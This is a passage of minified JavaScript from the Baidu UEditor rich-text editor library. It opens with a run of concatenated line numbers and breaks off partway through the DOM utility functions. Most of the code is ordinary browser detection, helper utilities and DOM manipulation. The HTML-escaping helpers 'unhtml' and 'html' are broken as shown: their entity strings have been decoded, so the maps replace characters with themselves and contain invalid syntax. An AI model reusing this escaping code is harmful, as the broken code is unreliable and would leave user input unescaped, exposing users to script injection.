123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614 |
- (function(){function ba(f,a,d){var c;a=a.toLowerCase();return(c=f.__allListeners||d&&(f.__allListeners={}))&&(c[a]||d&&(c[a]=[]))}function X(f,a,d,c,b,h){c=c&&f[a];var g;for(!c&&(c=f[d]);!c&&(g=(g||f).parentNode);){if("BODY"==g.tagName||h&&!h(g))return null;c=g[d]}return c&&b&&!b(c)?X(c,a,d,!1,b):c}UEDITOR_CONFIG=window.UEDITOR_CONFIG||{};var q=window.baidu||{};window.baidu=q;window.UE=q.editor={};UE.plugins={};UE.commands={};UE.instants={};UE.I18N={};UE.version="1.2.6.1";var K=UE.dom={},r=UE.browser=
- function(){var f=navigator.userAgent.toLowerCase(),a=window.opera,d={ie:!!window.ActiveXObject,opera:!!a&&a.version,webkit:-1<f.indexOf(" applewebkit/"),mac:-1<f.indexOf("macintosh"),quirks:"BackCompat"==document.compatMode};d.gecko="Gecko"==navigator.product&&!d.webkit&&!d.opera;var c=0;d.ie&&(c=parseFloat(f.match(/msie (\d+)/)[1]),d.ie9Compat=9==document.documentMode,d.ie8=!!document.documentMode,d.ie8Compat=8==document.documentMode,d.ie7Compat=7==c&&!document.documentMode||7==document.documentMode,
- d.ie6Compat=7>c||d.quirks);if(d.gecko){var b=f.match(/rv:([\d\.]+)/);b&&(b=b[1].split("."),c=1E4*b[0]+100*(b[1]||0)+1*(b[2]||0))}/chrome\/(\d+\.\d)/i.test(f)&&(d.chrome=+RegExp.$1);/(\d+\.\d)?(?:\.\d)?\s+safari\/?(\d+\.\d+)?/i.test(f)&&!/chrome/i.test(f)&&(d.safari=+(RegExp.$1||RegExp.$2));d.opera&&(c=parseFloat(a.version()));d.webkit&&(c=parseFloat(f.match(/ applewebkit\/(\d+)/)[1]));d.version=c;d.isCompatible=!d.mobile&&(d.ie&&6<=c||d.gecko&&10801<=c||d.opera&&9.5<=c||d.air&&1<=c||d.webkit&&522<=
- c||!1);return d}(),E=r.ie,ja=r.opera,p=UE.utils={each:function(f,a,d){if(null!=f)if(f.length===+f.length)for(var c=0,b=f.length;c<b;c++){if(!1===a.call(d,f[c],c,f))return!1}else for(c in f)if(f.hasOwnProperty(c)&&!1===a.call(d,f[c],c,f))return!1},makeInstance:function(f){var a=new Function;a.prototype=f;f=new a;a.prototype=null;return f},extend:function(f,a,d){if(a)for(var c in a)d&&f.hasOwnProperty(c)||(f[c]=a[c]);return f},extend2:function(f){for(var a=arguments,d=1;d<a.length;d++){var c=a[d],b;
- for(b in c)f.hasOwnProperty(b)||(f[b]=c[b])}return f},inherits:function(f,a){var d=f.prototype,c=p.makeInstance(a.prototype);p.extend(c,d,!0);f.prototype=c;return c.constructor=f},bind:function(f,a){return function(){return f.apply(a,arguments)}},defer:function(f,a,d){var c;return function(){d&&clearTimeout(c);c=setTimeout(f,a)}},indexOf:function(f,a,d){var c=-1;d=this.isNumber(d)?d:0;this.each(f,function(b,h){if(h>=d&&b===a)return c=h,!1});return c},removeItem:function(f,a){for(var d=0,c=f.length;d<
- c;d++)f[d]===a&&(f.splice(d,1),d--)},trim:function(f){return f.replace(/(^[ \t\n\r]+)|([ \t\n\r]+$)/g,"")},listToMap:function(f){if(!f)return{};f=p.isArray(f)?f:f.split(",");for(var a=0,d,c={};d=f[a++];)c[d.toUpperCase()]=c[d]=1;return c},unhtml:function(f,a){return f?f.replace(a||/[&<">'](?:(amp|lt|quot|gt|#39|nbsp);)?/g,function(a,c){return c?a:{"<":"<","&":"&",'"':""",">":">","'":"'"}[a]}):""},html:function(f){return f?f.replace(/&((g|l|quo)t|amp|#39);/g,function(a){return{"<":"<",
- "&":"&",""":'"',">":">","'":"'"}[a]}):""},cssStyleToDomStyle:function(){var f=document.createElement("div").style,a={"float":void 0!=f.cssFloat?"cssFloat":void 0!=f.styleFloat?"styleFloat":"float"};return function(d){return a[d]||(a[d]=d.toLowerCase().replace(/-./g,function(a){return a.charAt(1).toUpperCase()}))}}(),loadFile:function(){function f(d,c){try{for(var b=0,h;h=a[b++];)if(h.doc===d&&h.url==(c.src||c.href))return h}catch(g){return null}}var a=[];return function(d,c,b){var h=
- f(d,c);if(h)h.ready?b&&b():h.funs.push(b);else if(a.push({doc:d,url:c.src||c.href,funs:[b]}),!d.body){b=[];for(var g in c)"tag"!=g&&b.push(g+'="'+c[g]+'"');d.write("<"+c.tag+" "+b.join(" ")+" ></"+c.tag+">")}else if(!c.id||!d.getElementById(c.id)){var k=d.createElement(c.tag);delete c.tag;for(g in c)k.setAttribute(g,c[g]);k.onload=k.onreadystatechange=function(){if(!this.readyState||/loaded|complete/.test(this.readyState)){h=f(d,c);if(0<h.funs.length){h.ready=1;for(var a;a=h.funs.pop();)a()}k.onload=
- k.onreadystatechange=null}};k.onerror=function(){throw Error("The load "+(c.href||c.src)+" fails,check the url settings of file ueditor.config.js ");};d.getElementsByTagName("head")[0].appendChild(k)}}}(),isEmptyObject:function(f){if(null==f)return!0;if(this.isArray(f)||this.isString(f))return 0===f.length;for(var a in f)if(f.hasOwnProperty(a))return!1;return!0},fixColor:function(f,a){if(/color/i.test(f)&&/rgba?/.test(a)){var d=a.split(",");if(3<d.length)return"";a="#";for(var c=0,b;b=d[c++];)b=parseInt(b.replace(/[^\d]/gi,
- ""),10).toString(16),a+=1==b.length?"0"+b:b;a=a.toUpperCase()}return a},optCss:function(f){function a(a,c){if(!a)return"";var g=a.top,k=a.bottom,l=a.left,d=a.right,m="";if(g&&l&&k&&d)m+=";"+c+":"+(g==k&&k==l&&l==d?g:g==k&&l==d?g+" "+l:l==d?g+" "+l+" "+k:g+" "+d+" "+k+" "+l)+";";else for(var f in a)m+=";"+c+"-"+f+":"+a[f]+";";return m}var d,c;f=f.replace(/(padding|margin|border)\-([^:]+):([^;]+);?/gi,function(a,h,g,k){if(1==k.split(" ").length)switch(h){case "padding":return!d&&(d={}),d[g]=k,"";case "margin":return!c&&
- (c={}),c[g]=k,"";case "border":return"initial"==k?"":a}return a});f+=a(d,"padding")+a(c,"margin");return f.replace(/^[ \n\r\t;]*|[ \n\r\t]*$/,"").replace(/;([ \n\r\t]+)|\1;/g,";").replace(/(&((l|g)t|quot|#39))?;{2,}/g,function(a,c){return c?c+";;":";"})},clone:function(f,a){var d;a=a||{};for(var c in f)f.hasOwnProperty(c)&&(d=f[c],"object"==typeof d?(a[c]=p.isArray(d)?[]:{},p.clone(f[c],a[c])):a[c]=d);return a},transUnitToPx:function(f){if(!/(pt|cm)/.test(f))return f;var a;f.replace(/([\d.]+)(\w+)/,
- function(d,c,b){f=c;a=b});switch(a){case "cm":f=25*parseFloat(f);break;case "pt":f=Math.round(96*parseFloat(f)/72)}return f+(f?"px":"")},domReady:function(){function f(d){for(d.isReady=!0;d=a.pop();d());}var a=[];return function(d,c){c=c||window;var b=c.document;d&&a.push(d);"complete"===b.readyState?f(b):(b.isReady&&f(b),r.ie?(function(){if(!b.isReady){try{b.documentElement.doScroll("left")}catch(a){setTimeout(arguments.callee,0);return}f(b)}}(),c.attachEvent("onload",function(){f(b)})):(b.addEventListener("DOMContentLoaded",
- function(){b.removeEventListener("DOMContentLoaded",arguments.callee,!1);f(b)},!1),c.addEventListener("load",function(){f(b)},!1)))}}(),cssRule:r.ie?function(f,a,d){var c;d=d||document;c=d.indexList?d.indexList:d.indexList={};var b;if(c[f])b=d.styleSheets[c[f]];else{if(void 0===a)return"";b=d.createStyleSheet("",d=d.styleSheets.length);c[f]=d}if(void 0===a)return b.cssText;b.cssText=a||""}:function(f,a,d){d=d||document;var c=d.getElementsByTagName("head")[0],b;if(!(b=d.getElementById(f))){if(void 0===
- a)return"";b=d.createElement("style");b.id=f;c.appendChild(b)}if(void 0===a)return b.innerHTML;""!==a?b.innerHTML=a:c.removeChild(b)},sort:function(f,a){a=a||function(a,g){return a.localeCompare(g)};for(var d=0,c=f.length;d<c;d++)for(var b=d,h=f.length;b<h;b++)if(0<a(f[d],f[b])){var g=f[d];f[d]=f[b];f[b]=g}return f}};p.each("String Function Array Number RegExp Object".split(" "),function(f){UE.utils["is"+f]=function(a){return Object.prototype.toString.apply(a)=="[object "+f+"]"}});var V=UE.EventBase=
- function(){};V.prototype={addListener:function(f,a){f=p.trim(f).split(" ");for(var d=0,c;c=f[d++];)ba(this,c,!0).push(a)},removeListener:function(f,a){f=p.trim(f).split(" ");for(var d=0,c;c=f[d++];)p.removeItem(ba(this,c)||[],a)},fireEvent:function(){for(var f=arguments[0],f=p.trim(f).split(" "),a=0,d;d=f[a++];){var c=ba(this,d),b,h,g;if(c)for(g=c.length;g--;)if(c[g]){h=c[g].apply(this,arguments);if(!0===h)return h;void 0!==h&&(b=h)}if(h=this["on"+d.toLowerCase()])b=h.apply(this,arguments)}return b}};
- var w=K.dtd=function(){function f(a){for(var g in a)a[g.toUpperCase()]=a[g];return a}var a=p.extend2,d=f({isindex:1,fieldset:1}),c=f({input:1,button:1,select:1,textarea:1,label:1}),b=a(f({a:1}),c),h=a({iframe:1},b),g=f({hr:1,ul:1,menu:1,div:1,blockquote:1,noscript:1,table:1,center:1,address:1,dir:1,pre:1,h5:1,dl:1,h4:1,noframes:1,h6:1,ol:1,h1:1,h3:1,h2:1}),k=f({ins:1,del:1,script:1,style:1}),l=a(f({b:1,acronym:1,bdo:1,"var":1,"#":1,abbr:1,code:1,br:1,i:1,cite:1,kbd:1,u:1,strike:1,s:1,tt:1,strong:1,
- q:1,samp:1,em:1,dfn:1,span:1}),k),n=a(f({sub:1,img:1,embed:1,object:1,sup:1,basefont:1,map:1,applet:1,font:1,big:1,small:1}),l),m=a(f({p:1}),n),c=a(f({iframe:1}),n,c),n=f({img:1,embed:1,noscript:1,br:1,kbd:1,center:1,button:1,basefont:1,h5:1,h4:1,samp:1,h6:1,ol:1,h1:1,h3:1,h2:1,form:1,font:1,"#":1,select:1,menu:1,ins:1,abbr:1,label:1,code:1,table:1,script:1,cite:1,input:1,iframe:1,strong:1,textarea:1,noframes:1,big:1,small:1,span:1,hr:1,sub:1,bdo:1,"var":1,div:1,object:1,sup:1,strike:1,dir:1,map:1,
- dl:1,applet:1,del:1,isindex:1,fieldset:1,ul:1,b:1,acronym:1,a:1,blockquote:1,i:1,u:1,s:1,tt:1,address:1,q:1,pre:1,p:1,em:1,dfn:1}),e=a(f({a:0}),c),t=f({tr:1}),u=f({"#":1}),v=a(f({param:1}),n),x=a(f({form:1}),d,h,g,m),D=f({li:1,ol:1,ul:1}),M=f({style:1,script:1}),C=f({base:1,link:1,meta:1,title:1}),M=a(C,M),F=f({head:1,body:1}),na=f({html:1}),r=f({address:1,blockquote:1,center:1,dir:1,div:1,dl:1,fieldset:1,form:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,hr:1,isindex:1,menu:1,noframes:1,ol:1,p:1,pre:1,table:1,
- ul:1}),q=f({area:1,base:1,basefont:1,br:1,col:1,command:1,dialog:1,embed:1,hr:1,img:1,input:1,isindex:1,keygen:1,link:1,meta:1,param:1,source:1,track:1,wbr:1});return f({$nonBodyContent:a(na,F,C),$block:r,$inline:e,$inlineWithA:a(f({a:1}),e),$body:a(f({script:1,style:1}),r),$cdata:f({script:1,style:1}),$empty:q,$nonChild:f({iframe:1,textarea:1}),$listItem:f({dd:1,dt:1,li:1}),$list:f({ul:1,ol:1,dl:1}),$isNotEmpty:f({table:1,ul:1,ol:1,dl:1,iframe:1,area:1,base:1,col:1,hr:1,img:1,embed:1,input:1,link:1,
- meta:1,param:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1}),$removeEmpty:f({a:1,abbr:1,acronym:1,address:1,b:1,bdo:1,big:1,cite:1,code:1,del:1,dfn:1,em:1,font:1,i:1,ins:1,label:1,kbd:1,q:1,s:1,samp:1,small:1,span:1,strike:1,strong:1,sub:1,sup:1,tt:1,u:1,"var":1}),$removeEmptyBlock:f({p:1,div:1}),$tableContent:f({caption:1,col:1,colgroup:1,tbody:1,td:1,tfoot:1,th:1,thead:1,tr:1,table:1}),$notTransContent:f({pre:1,script:1,style:1,textarea:1}),html:F,head:M,style:u,script:u,body:x,base:{},link:{},meta:{},title:u,
- col:{},tr:f({td:1,th:1}),img:{},embed:{},colgroup:f({thead:1,col:1,tbody:1,tr:1,tfoot:1}),noscript:x,td:x,br:{},th:x,center:x,kbd:e,button:a(m,g),basefont:{},h5:e,h4:e,samp:e,h6:e,ol:D,h1:e,h3:e,option:u,h2:e,form:a(d,h,g,m),select:f({optgroup:1,option:1}),font:e,ins:e,menu:D,abbr:e,label:e,table:f({thead:1,col:1,tbody:1,tr:1,colgroup:1,caption:1,tfoot:1}),code:e,tfoot:t,cite:e,li:x,input:{},iframe:x,strong:e,textarea:u,noframes:x,big:e,small:e,span:f({"#":1,br:1,b:1,strong:1,u:1,i:1,em:1,sub:1,sup:1,
- strike:1,span:1}),hr:e,dt:e,sub:e,optgroup:f({option:1}),param:{},bdo:e,"var":e,div:x,object:v,sup:e,dd:x,strike:e,area:{},dir:D,map:a(f({area:1,form:1,p:1}),d,k,g),applet:v,dl:f({dt:1,dd:1}),del:e,isindex:{},fieldset:a(f({legend:1}),n),thead:t,ul:D,acronym:e,b:e,a:a(f({a:1}),c),blockquote:a(f({td:1,tr:1,tbody:1,li:1}),x),caption:e,i:e,u:e,tbody:t,s:e,address:a(h,m),tt:e,legend:e,q:e,pre:a(l,b),p:a(f({a:1}),e),em:e,dfn:e})}(),ca=E&&9>r.version?{tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor",
- "class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder"}:{tabindex:"tabIndex",readonly:"readOnly"},pa=p.listToMap("-webkit-box -moz-box block list-item table table-row-group table-header-group table-footer-group table-row table-column-group table-column table-cell table-caption".split(" ")),e=K.domUtils={NODE_ELEMENT:1,NODE_DOCUMENT:9,NODE_TEXT:3,NODE_COMMENT:8,NODE_DOCUMENT_FRAGMENT:11,
- POSITION_IDENTICAL:0,POSITION_DISCONNECTED:1,POSITION_FOLLOWING:2,POSITION_PRECEDING:4,POSITION_IS_CONTAINED:8,POSITION_CONTAINS:16,fillChar:E&&"6"==r.version?"\ufeff":"\u200b",keys:{8:1,46:1,16:1,17:1,18:1,37:1,38:1,39:1,40:1,13:1},getPosition:function(e,a){if(e===a)return 0;var d,c=[e],b=[a];for(d=e;d=d.parentNode;){if(d===a)return 10;c.push(d)}for(d=a;d=d.parentNode;){if(d===e)return 20;b.push(d)}c.reverse();b.reverse();if(c[0]!==b[0])return 1;for(d=-1;d++,c[d]===b[d];);e=c[d];for(a=b[d];e=e.nextSibling;)if(e===
- a)return 4;return 2},getNodeIndex:function(e,a){for(var d=e,c=0;d=d.previousSibling;)a&&3==d.nodeType?d.nodeType!=d.nextSibling.nodeType&&c++:c++;return c},inDoc:function(f,a){return 10==e.getPosition(f,a)},findParent:function(f,a,d){if(f&&!e.isBody(f))for(f=d?f:f.parentNode;f;){if(!a||a(f)||e.isBody(f))return a&&!a(f)&&e.isBody(f)?null:f;f=f.parentNode}return null},findParentByTagName:function(f,a,d,c){a=p.listToMap(p.isArray(a)?a:[a]);return e.findParent(f,function(b){return a[b.tagName]&&!(c&&
- c(b))},d)},findParents:function(f,a,d,c){for(a=a&&(d&&d(f)||!d)?[f]:[];f=e.findParent(f,d);)a.push(f);return c?a:a.reverse()},insertAfter:function(e,a){return e.parentNode.insertBefore(a,e.nextSibling)},remove:function(e,a){var d=e.parentNode,c;if(d){if(a&&e.hasChildNodes())for(;c=e.firstChild;)d.insertBefore(c,e);d.removeChild(e)}return e},getNextDomNode:function(e,a,d,c){return X(e,"firstChild","nextSibling",a,d,c)},isBookmarkNode:function(e){return 1==e.nodeType&&e.id&&/^_baidu_bookmark_/i.test(e.id)},
- getWindow:function(e){e=e.ownerDocument||e;return e.defaultView||e.parentWindow},getCommonAncestor:function(e,a){if(e===a)return e;for(var d=[e],c=[a],b=e,h=-1;b=b.parentNode;){if(b===a)return b;d.push(b)}for(b=a;b=b.parentNode;){if(b===e)return b;c.push(b)}d.reverse();for(c.reverse();h++,d[h]===c[h];);return 0==h?null:d[h-1]},clearEmptySibling:function(f,a,d){function c(a,c){for(var g;a&&!e.isBookmarkNode(a)&&(e.isEmptyInlineElement(a)||!RegExp("[^\t\n\r"+e.fillChar+"]").test(a.nodeValue));)g=a[c],
- e.remove(a),a=g}!a&&c(f.nextSibling,"nextSibling");!d&&c(f.previousSibling,"previousSibling")},split:function(f,a){var d=f.ownerDocument;if(r.ie&&a==f.nodeValue.length){var c=d.createTextNode("");return e.insertAfter(f,c)}c=f.splitText(a);r.ie8&&(d=d.createTextNode(""),e.insertAfter(c,d),e.remove(d));return c},isWhitespace:function(f){return!RegExp("[^ \t\n\r"+e.fillChar+"]").test(f.nodeValue)},getXY:function(e){for(var a=0,d=0;e.offsetParent;)d+=e.offsetTop,a+=e.offsetLeft,e=e.offsetParent;return{x:a,
- y:d}},on:function(e,a,d){var c=p.isArray(a)?a:[a],b=c.length;if(b)for(;b--;)if(a=c[b],e.addEventListener)e.addEventListener(a,d,!1);else{d._d||(d._d={els:[]});var h=a+d.toString(),g=p.indexOf(d._d.els,e);d._d[h]&&-1!=g||(-1==g&&d._d.els.push(e),d._d[h]||(d._d[h]=function(a){return d.call(a.srcElement,a||window.event)}),e.attachEvent("on"+a,d._d[h]))}e=null},un:function(e,a,d){var c=p.isArray(a)?a:[a],b=c.length;if(b)for(;b--;)if(a=c[b],e.removeEventListener)e.removeEventListener(a,d,!1);else{var h=
- a+d.toString();try{e.detachEvent("on"+a,d._d?d._d[h]:d)}catch(g){}d._d&&d._d[h]&&(a=p.indexOf(d._d.els,e),-1!=a&&d._d.els.splice(a,1),0==d._d.els.length&&delete d._d[h])}},isSameElement:function(f,a){if(f.tagName!=a.tagName)return!1;var d=f.attributes,c=a.attributes;if(!E&&d.length!=c.length)return!1;for(var b,h,g=0,k=0,l=0;b=d[l++];){if("style"==b.nodeName)if(b.specified&&g++,e.isSameStyle(f,a))continue;else return!1;if(E)if(b.specified)g++,h=c.getNamedItem(b.nodeName);else continue;else h=a.attributes[b.nodeName];
- if(!h.specified||b.nodeValue!=h.nodeValue)return!1}if(E){for(l=0;h=c[l++];)h.specified&&k++;if(g!=k)return!1}return!0},isSameStyle:function(e,a){var d=e.style.cssText.replace(/( ?; ?)/g,";").replace(/( ?: ?)/g,":"),c=a.style.cssText.replace(/( ?; ?)/g,";").replace(/( ?: ?)/g,":");if(r.opera){d=e.style;c=a.style;if(d.length!=c.length)return!1;for(var b in d)if(!/^(\d+|csstext)$/i.test(b)&&d[b]!=c[b])return!1;return!0}if(!d||!c)return d==c;d=d.split(";");c=c.split(";");if(d.length!=c.length)return!1;
- b=0;for(var h;h=d[b++];)if(-1==p.indexOf(c,h))return!1;return!0},isBlockElm:function(f){return 1==f.nodeType&&(w.$block[f.tagName]||pa[e.getComputedStyle(f,"display")])&&!w.$nonChild[f.tagName]},isBody:function(e){return e&&1==e.nodeType&&"body"==e.tagName.toLowerCase()},breakParent:function(f,a){var d,c=f,b=f,h,g;do{c=c.parentNode;h?(d=c.cloneNode(!1),d.appendChild(h),h=d,d=c.cloneNode(!1),d.appendChild(g),g=d):(h=c.cloneNode(!1),g=h.cloneNode(!1));for(;d=b.previousSibling;)h.insertBefore(d,h.firstChild);
- for(;d=b.nextSibling;)g.appendChild(d);b=c}while(a!==c);d=a.parentNode;d.insertBefore(h,a);d.insertBefore(g,a);d.insertBefore(f,g);e.remove(a);return f},isEmptyInlineElement:function(f){if(1!=f.nodeType||!w.$removeEmpty[f.tagName])return 0;for(f=f.firstChild;f;){if(e.isBookmarkNode(f)||1==f.nodeType&&!e.isEmptyInlineElement(f)||3==f.nodeType&&!e.isWhitespace(f))return 0;f=f.nextSibling}return 1},trimWhiteTextNode:function(f){function a(a){for(var c;(c=f[a])&&3==c.nodeType&&e.isWhitespace(c);)f.removeChild(c)}
- a("firstChild");a("lastChild")},mergeChild:function(f,a,d){a=e.getElementsByTagName(f,f.tagName.toLowerCase());for(var c=0,b;b=a[c++];)if(b.parentNode&&!e.isBookmarkNode(b))if("span"==b.tagName.toLowerCase()){if(f===b.parentNode&&(e.trimWhiteTextNode(f),1==f.childNodes.length)){f.style.cssText=b.style.cssText+";"+f.style.cssText;e.remove(b,!0);continue}b.style.cssText=f.style.cssText+";"+b.style.cssText;if(d){var h=d.style;if(h)for(var h=h.split(";"),g=0,k;k=h[g++];)b.style[p.cssStyleToDomStyle(k.split(":")[0])]=
- k.split(":")[1]}e.isSameStyle(b,f)&&e.remove(b,!0)}else e.isSameElement(f,b)&&e.remove(b,!0)},getElementsByTagName:function(f,a,d){if(d&&p.isString(d)){var c=d;d=function(a){return e.hasClass(a,c)}}a=p.trim(a).replace(/[ ]{2,}/g," ").split(" ");for(var b=[],h=0,g;g=a[h++];){g=f.getElementsByTagName(g);for(var k=0,l;l=g[k++];)d&&!d(l)||b.push(l)}return b},mergeToParent:function(f){for(var a=f.parentNode;a&&w.$removeEmpty[a.tagName];){if(a.tagName==f.tagName||"A"==a.tagName){e.trimWhiteTextNode(a);
- if("SPAN"==a.tagName&&!e.isSameStyle(a,f)||"A"==a.tagName&&"SPAN"==f.tagName)if(1<a.childNodes.length||a!==f.parentNode){f.style.cssText=a.style.cssText+";"+f.style.cssText;a=a.parentNode;continue}else a.style.cssText+=";"+f.style.cssText,"A"==a.tagName&&(a.style.textDecoration="underline");if("A"!=a.tagName){a===f.parentNode&&e.remove(f,!0);break}}a=a.parentNode}},mergeSibling:function(f,a,d){function c(a,c,g){var k;if((k=g[a])&&!e.isBookmarkNode(k)&&1==k.nodeType&&e.isSameElement(g,k)){for(;k.firstChild;)"firstChild"==
- c?g.insertBefore(k.lastChild,g.firstChild):g.appendChild(k.firstChild);e.remove(k)}}!a&&c("previousSibling","firstChild",f);!d&&c("nextSibling","lastChild",f)},unSelectable:E||r.opera?function(e){e.onselectstart=function(){return!1};e.onclick=e.onkeyup=e.onkeydown=function(){return!1};e.unselectable="on";e.setAttribute("unselectable","on");for(var a=0,d;d=e.all[a++];)switch(d.tagName.toLowerCase()){case "iframe":case "textarea":case "input":case "select":break;default:d.unselectable="on",e.setAttribute("unselectable",
- "on")}}:function(e){e.style.MozUserSelect=e.style.webkitUserSelect=e.style.KhtmlUserSelect="none"},removeAttributes:function(e,a){a=p.isArray(a)?a:p.trim(a).replace(/[ ]{2,}/g," ").split(" ");for(var d=0,c;c=a[d++];){c=ca[c]||c;switch(c){case "className":e[c]="";break;case "style":e.style.cssText="",!r.ie&&e.removeAttributeNode(e.getAttributeNode("style"))}e.removeAttribute(c)}},createElement:function(f,a,d){return e.setAttributes(f.createElement(a),d)},setAttributes:function(e,a){for(var d in a)if(a.hasOwnProperty(d)){var c=
- a[d];switch(d){case "class":e.className=c;break;case "style":e.style.cssText=e.style.cssText+";"+c;break;case "innerHTML":e[d]=c;break;case "value":e.value=c;break;default:e.setAttribute(ca[d]||d,c)}}return e},getComputedStyle:function(f,a){if(-1<"width height top left".indexOf(a))return f["offset"+a.replace(/^\w/,function(a){return a.toUpperCase()})]+"px";3==f.nodeType&&(f=f.parentNode);if(r.ie&&9>r.version&&"font-size"==a&&!f.style.fontSize&&!w.$empty[f.tagName]&&!w.$nonChild[f.tagName]){var d=
- f.ownerDocument.createElement("span");d.style.cssText="padding:0;border:0;font-family:simsun;";d.innerHTML=".";f.appendChild(d);var c=d.offsetHeight;f.removeChild(d);d=null;return c+"px"}try{d=e.getStyle(f,a)||(window.getComputedStyle?e.getWindow(f).getComputedStyle(f,"").getPropertyValue(a):(f.currentStyle||f.style)[p.cssStyleToDomStyle(a)])}catch(b){return""}return p.transUnitToPx(p.fixColor(a,d))},removeClasses:function(f,a){a=p.isArray(a)?a:p.trim(a).replace(/[ ]{2,}/g," ").split(" ");for(var d=
- 0,c,b=f.className;c=a[d++];)b=b.replace(RegExp("\\b"+c+"\\b"),"");(b=p.trim(b).replace(/[ ]{2,}/g," "))?f.className=b:e.removeAttributes(f,["class"])},addClass:function(e,a){if(e){a=p.trim(a).replace(/[ ]{2,}/g," ").split(" ");for(var d=0,c,b=e.className;c=a[d++];)RegExp("\\b"+c+"\\b").test(b)||(e.className+=" "+c)}},hasClass:function(e,a){if(p.isRegExp(a))return a.test(e.className);a=p.trim(a).replace(/[ ]{2,}/g," ").split(" ");for(var d=0,c,b=e.className;c=a[d++];)if(!RegExp("\\b"+c+"\\b","i").test(b))return!1;
- return d-1==a.length},preventDefault:function(e){e.preventDefault?e.preventDefault():e.returnValue=!1},removeStyle:function(f,a){r.ie?("color"==a&&(a="(^|;)"+a),f.style.cssText=f.style.cssText.replace(RegExp(a+"[^:]*:[^;]+;?","ig"),"")):f.style.removeProperty?f.style.removeProperty(a):f.style.removeAttribute(p.cssStyleToDomStyle(a));f.style.cssText||e.removeAttributes(f,["style"])},getStyle:function(e,a){var d=e.style[p.cssStyleToDomStyle(a)];return p.fixColor(a,d)},setStyle:function(e,a,d){e.style[p.cssStyleToDomStyle(a)]=
- d;p.trim(e.style.cssText)||this.removeAttributes(e,"style")},setStyles:function(f,a){for(var d in a)a.hasOwnProperty(d)&&e.setStyle(f,d,a[d])},removeDirtyAttr:function(e){for(var a=0,d,c=e.getElementsByTagName("*");d=c[a++];)d.removeAttribute("_moz_dirty");e.removeAttribute("_moz_dirty")},getChildCount:function(e,a){var d=0,c=e.firstChild;for(a=a||function(){return 1};c;)a(c)&&d++,c=c.nextSibling;return d},isEmptyNode:function(f){return!f.firstChild||0==e.getChildCount(f,function(a){return!e.isBr(a)&&
- !e.isBookmarkNode(a)&&!e.isWhitespace(a)})},clearSelectedArr:function(f){for(var a;a=f.pop();)e.removeAttributes(a,["class"])},scrollToView:function(f,a,d){var c=function(){var b=a.document,c="CSS1Compat"==b.compatMode;return{width:(c?b.documentElement.clientWidth:b.body.clientWidth)||0,height:(c?b.documentElement.clientHeight:b.body.clientHeight)||0}}().height;d=-1*c+d+(f.offsetHeight||0);f=e.getXY(f);d+=f.y;f=function(a){if("pageXOffset"in a)return{x:a.pageXOffset||0,y:a.pageYOffset||0};a=a.document;
- return{x:a.documentElement.scrollLeft||a.body.scrollLeft||0,y:a.documentElement.scrollTop||a.body.scrollTop||0}}(a).y;(d>f||d<f-c)&&a.scrollTo(0,d+(0>d?-20:20))},isBr:function(e){return 1==e.nodeType&&"BR"==e.tagName},isFillChar:function(f,a){return 3==f.nodeType&&!f.nodeValue.replace(RegExp((a?"^":"")+e.fillChar),"").length},isStartInblock:function(f){f=f.cloneRange();var a=0,d=f.startContainer,c;if(1==d.nodeType&&d.childNodes[f.startOffset])for(var d=d.childNodes[f.startOffset],b=d.previousSibling;b&&
- e.isFillChar(b);)d=b,b=b.previousSibling;this.isFillChar(d,!0)&&1==f.startOffset&&(f.setStartBefore(d),d=f.startContainer);for(;d&&e.isFillChar(d);)c=d,d=d.previousSibling;c&&(f.setStartBefore(c),d=f.startContainer);for(1==d.nodeType&&(e.isEmptyNode(d)&&1==f.startOffset)&&f.setStart(d,0).collapse(!0);!f.startOffset;){d=f.startContainer;if(e.isBlockElm(d)||e.isBody(d)){a=1;break}var b=f.startContainer.previousSibling,h;if(b){for(;b&&e.isFillChar(b);)h=b,b=b.previousSibling;h?f.setStartBefore(h):f.setStartBefore(f.startContainer)}else f.setStartBefore(f.startContainer)}return a&&
- !e.isBody(f.startContainer)?1:0},isEmptyBlock:function(f,a){if(1!=f.nodeType)return 0;a=a||RegExp("[ \t\r\n"+e.fillChar+"]","g");if(0<f[r.ie?"innerText":"textContent"].replace(a,"").length)return 0;for(var d in w.$isNotEmpty)if(f.getElementsByTagName(d).length)return 0;return 1},setViewportOffset:function(e,a){var d=parseInt(e.style.left)|0,c=parseInt(e.style.top)|0,b=e.getBoundingClientRect(),h=a.left-b.left,b=a.top-b.top;h&&(e.style.left=d+h+"px");b&&(e.style.top=c+b+"px")},fillNode:function(f,
- a){var d=r.ie?f.createTextNode(e.fillChar):f.createElement("br");a.innerHTML="";a.appendChild(d)},moveChild:function(e,a,d){for(;e.firstChild;)d&&a.firstChild?a.insertBefore(e.lastChild,a.firstChild):a.appendChild(e.firstChild)},hasNoAttributes:function(e){return r.ie?/^<\w+\s*?>/.test(e.outerHTML):0==e.attributes.length},isCustomeNode:function(e){return 1==e.nodeType&&e.getAttribute("_ue_custom_node_")},isTagNode:function(e,a){return 1==e.nodeType&&RegExp("^"+e.tagName+"$","i").test(a)},filterNodeList:function(e,
